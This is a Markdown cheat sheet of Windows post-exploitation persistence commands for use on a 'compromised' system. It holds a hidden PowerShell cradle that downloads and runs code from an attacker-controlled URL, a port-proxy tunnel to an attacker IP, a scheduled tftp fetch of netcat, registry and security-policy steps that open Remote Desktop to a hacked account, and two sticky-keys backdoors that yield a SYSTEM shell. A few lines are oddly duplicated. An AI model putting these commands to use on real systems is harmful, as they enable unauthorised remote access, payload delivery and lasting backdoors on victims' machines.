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153 lines
5.5 KiB
Markdown
153 lines
5.5 KiB
Markdown
<!-- Code for collapse and expand -->
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<script type="text/javascript">
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$(document).ready(function() {
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$('div.view').hide();
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$('div.slide').click(function() {
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$(this).next('div.view').slideToggle('fast');
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return false;
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});
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});
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</script>
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# Windows General Persistence Commands
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Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
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### Firewall Exceptions
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When you modify a system to talk on the network, you may need to alter the Windows firewall so your traffic is not filtered. The `netsh` command can be used to do this as the command to enable Remote Desktop Protocol below shows:
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`netsh firewall set service type = remotedesktop mode = enable`
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### Tunnel Traffic Natively with Windows
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`netsh int portproxy v4tov4 listenport=80 connecthost=[AttackerIP] connectport=80`
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### Powershell Downloader
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* **Command with arguments**: `powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://[domainname|IP]:[port]/[file]'))"`
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* **Description**: According to [posted slides](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607), _"Schedule this and it will execute the shellcode on that page, pulling it each time (so you can change as needed)"_.
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### Remote Assistance Enable
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* **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f`
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* **Description**: **Must be admin to run this.** Enable remote assistance through adding a registry entry on the local system.
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### Remote Desktop Enable - Method 1
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* **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f`
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* **Description**: **Must be admin to run this.** Enable remote desktop through adding a registry entry on the local system.
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### Remote Desktop Enable - Method 2
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Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below.
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1. On the compromised system, create a file named `fix_ts_policy.ini` containing the contents below. Change the *"hacked_account"* value to the account you have compromised on the remote system.
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<pre>
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[Unicode]
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Unicode=yes
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[Version]
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signature="$CHICAGO$"
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Revision=1
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[Privilege Rights] [Privilege Rights]
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seremoteinteractivelogonright = hacked_account
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seinteractivelogonright = hacked_account
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sedenyinteractivelogonright =
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sedenyremoteinteractivelogonright =
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sedenynetworklogonright =
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</pre>
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1. Create another file named `enable_ts.reg` containing the contents below.
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<pre>
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Windows Registry Editor Version 5.00
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[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
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"fDenyTSConnections"=dword:00000000
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"TSEnabled"=dword:00000001
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"TSUserEnabled"=dword:00000000
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</pre>
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1. On the remote system, execute the following commands:
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<pre>c:\> sc config termservice start= auto sc config termservice start= auto
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c:\> regedit /s enable_ts.reg
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c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\new.secedit.sdb
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c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\orig.secedit.sdb
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c:\> secedit /configure /db new.secedit.sdb /cfg fix_ts_policy.ini
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c:\> gpupdate /Force
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c:\> net start "terminal services"
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</pre>
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### Scheduler
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The [Windows scheduler](http://support.microsoft.com/kb/313565) can be used to further compromise a system. It usually runs at the SYSTEM account privilege level. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 58)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely schedule tasks using the commands below.
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<pre>
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c:\> net use \\[TargetIP]\ipc$ password /user:username
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c:\> at \\[TargetIP] 12:00 pm command
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</pre>
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An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe`
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### Sticky Keys (Requires reboot)
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Sticky keys on Windows systems are activated when the user presses the SHIFT key 5 times. Here, according to the [posted slides](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607), you replace the sethc.exe binary with your own binary (cmd.exe maybe?) and, when SHIFT is pressed 5 times, your binary is executed. Your binary will execute as SYSTEM and needs to replace the `%WINDIR%\System32\sethc.exe`.
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Some caveats:
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* If NLA (Network Layer Authentication) is enabled, this won't work
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* If RDP (Remote Desktop Protocol) is disabled, this won't work
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### Sticky Keys (No reboot)
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This technique uses registry entries to switch the binary that the sticky keys executes. Its real advantage is that it does not require a reboot for the switch to take place.
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* In the `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` make a key called `sethc.exe`
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* Make a REG_SZ value called "Debugger" (Ensure it is capitalized)
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* For the "Debugger" REG_SZ, make it have a value of your binary
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* Press SHIFT 5 times and your binary should be executed |